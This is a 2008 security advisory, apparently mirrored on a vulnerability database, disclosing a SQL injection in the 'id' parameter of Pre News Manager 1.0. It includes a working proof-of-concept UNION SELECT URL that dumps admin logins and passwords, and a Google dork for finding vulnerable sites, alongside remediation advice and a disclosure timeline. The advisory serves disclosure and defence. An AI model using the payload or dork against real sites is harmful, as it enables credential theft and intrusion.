Pre News Manager <= 1.0 (index.php id) SQL Injection Vulnerability

🗓️ 14 Jun 2008 00:00:00Reported by RootType
Pre News Manager <= 1.0 (index.php id) SQL Injection Vulnerability. Input passed to the "id" parameter in index.php page is not properly verified before being used to SQL query. This can Lead to System Access from Remote

                                                ____________________&nbsp;&nbsp;&nbsp;___&nbsp;___&nbsp;________
\_&nbsp;&nbsp;&nbsp;_____/\_&nbsp;&nbsp;&nbsp;___&nbsp;\&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\\_____&nbsp;&nbsp;\&nbsp;&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;__)_&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\//&nbsp;&nbsp;&nbsp;&nbsp;~&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\___\&nbsp;&nbsp;&nbsp;&nbsp;Y&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;\
/_______&nbsp;&nbsp;/&nbsp;\______&nbsp;&nbsp;/\___|_&nbsp;&nbsp;/\_______&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.OR.ID
ECHO_ADV_97$2008

-----------------------------------------------------------------------------------------
[ECHO_ADV_97$2008]&nbsp;Pre&nbsp;News&nbsp;Manager&nbsp;&lt;=&nbsp;1.0&nbsp;(index.php&nbsp;id)&nbsp;Sql&nbsp;Injection&nbsp;Vulnerability
-----------------------------------------------------------------------------------------

Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;M.Hasran&nbsp;Addahroni
Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;June,&nbsp;13&nbsp;th&nbsp;2008
Location&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Jakarta,&nbsp;Indonesia
Web&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://e-rdc.org/v1/news.php?readmore=97
Critical&nbsp;Lvl&nbsp;&nbsp;&nbsp;:&nbsp;Medium
Impact	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;System&nbsp;access
Where	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;From&nbsp;Remote
---------------------------------------------------------------------------

Affected&nbsp;software&nbsp;description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application&nbsp;&nbsp;&nbsp;:&nbsp;Pre&nbsp;News&nbsp;Manager
version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&lt;=&nbsp;1.0
Vendor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.preproject.com/news.asp
Description&nbsp;&nbsp;&nbsp;:

Pre&nbsp;News&nbsp;Manager&nbsp;is&nbsp;online&nbsp;news&nbsp;publishing&nbsp;system.&nbsp;Very&nbsp;easy&nbsp;to&nbsp;manage&nbsp;and&nbsp;integration.&nbsp;Powerful&nbsp;online&nbsp;news&nbsp;management&nbsp;system&nbsp;with&nbsp;user&nbsp;friendly&nbsp;control&nbsp;panel.&nbsp;Include&nbsp;news&nbsp;box&nbsp;to&nbsp;any&nbsp;where&nbsp;in&nbsp;your&nbsp;website&nbsp;and&nbsp;integrate&nbsp;news&nbsp;manager&nbsp;in&nbsp;only&nbsp;one&nbsp;step.&nbsp;Upload&nbsp;latest&nbsp;news&nbsp;with&nbsp;images&nbsp;and&nbsp;advertisements.&nbsp;Include&nbsp;&nbsp;HEADLINES&nbsp;page&nbsp;&nbsp;to&nbsp;any&nbsp;where&nbsp;in&nbsp;your&nbsp;website&nbsp;and&nbsp;news&nbsp;will&nbsp;automatically&nbsp;updated&nbsp;to&nbsp;that&nbsp;page.&nbsp;Subscribe&nbsp;for&nbsp;latest&nbsp;and&nbsp;breaking&nbsp;news.&nbsp;Submit&nbsp;articles,&nbsp;news&nbsp;latest&nbsp;stories&nbsp;and&nbsp;many&nbsp;more.&nbsp;Add&nbsp;your&nbsp;own&nbsp;news&nbsp;categories.&nbsp;Also&nbsp;can&nbsp;be&nbsp;use&nbsp;for&nbsp;private&nbsp;news&nbsp;website.&nbsp;
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

Input&nbsp;passed&nbsp;to&nbsp;the&nbsp;&quot;id&quot;&nbsp;parameter&nbsp;in&nbsp;index.php&nbsp;page&nbsp;is&nbsp;not&nbsp;properly&nbsp;verified&nbsp;before&nbsp;being&nbsp;used&nbsp;to&nbsp;sql&nbsp;query.&nbsp;
This&nbsp;can&nbsp;be&nbsp;exploited&nbsp;thru&nbsp;the&nbsp;browser&nbsp;and&nbsp;get&nbsp;password&nbsp;from&nbsp;admin&nbsp;in&nbsp;plain&nbsp;text.
Successful&nbsp;exploitation&nbsp;requires&nbsp;that&nbsp;&quot;magic_quotes&quot;&nbsp;is&nbsp;off.


Poc/Exploit:
~~~~~~~~~

http://www.target.com/[path]/index.php?id=-1%20union%20select%201,2,3,concat(login,0x3a,password),5,6,7%20from%20admin--


Dork:
~~~~
Google&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&quot;To&nbsp;enjoy&nbsp;our&nbsp;newletter&nbsp;please&nbsp;register&nbsp;with&nbsp;us&nbsp;!&quot;


Solution:
~~~~~~

-&nbsp;Edit&nbsp;the&nbsp;source&nbsp;code&nbsp;to&nbsp;ensure&nbsp;that&nbsp;input&nbsp;is&nbsp;properly&nbsp;verified.
-&nbsp;Turn&nbsp;on&nbsp;magic_quotes&nbsp;in&nbsp;php.ini
&nbsp;

Timeline:
~~~~~~~~

-&nbsp;10&nbsp;-&nbsp;06&nbsp;-&nbsp;2008&nbsp;bug&nbsp;found
-&nbsp;13&nbsp;-&nbsp;06&nbsp;-&nbsp;2008&nbsp;vendor&nbsp;contacted
-&nbsp;13&nbsp;-&nbsp;06&nbsp;-&nbsp;2008&nbsp;advisory&nbsp;released
---------------------------------------------------------------------------

Shoutz:
~~~~
~&nbsp;ping&nbsp;-&nbsp;my&nbsp;dearest&nbsp;wife,&nbsp;zautha&nbsp;my&nbsp;little&nbsp;warrior&nbsp;&quot;happy&nbsp;birthday,&nbsp;dear&quot;
~&nbsp;y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,az01,negative,the_hydra,neng&nbsp;chika,&nbsp;str0ke
~&nbsp;everybody&nbsp;[at]&nbsp;SCAN-NUSANTARA&nbsp;and&nbsp;SCAN-ASSOSIATES
~&nbsp;masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b
~&nbsp;dr188le,SinChan,h4ntu,cow_1seng,poniman_coy,paman_gembul,ketut,rizal,cR4SH3R,kuntua,stev_manado,nofry,k1tk4t,0pt1c
~&nbsp;[email protected]
~&nbsp;#aikmel&nbsp;#e-c-h-o&nbsp;@irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;K-159&nbsp;||&nbsp;echo|staff&nbsp;||&nbsp;eufrato[at]gmail[dot]com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Homepage:&nbsp;http://www.e-rdc.org/

--------------------------------&nbsp;[&nbsp;EOF&nbsp;]&nbsp;----------------------------------
14 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1
Pre News Manager &lt;= 1.0 (index.php id) SQL Injection Vulnerability

Pre News Manager <= 1.0 (index.php id) SQL Injection Vulnerability
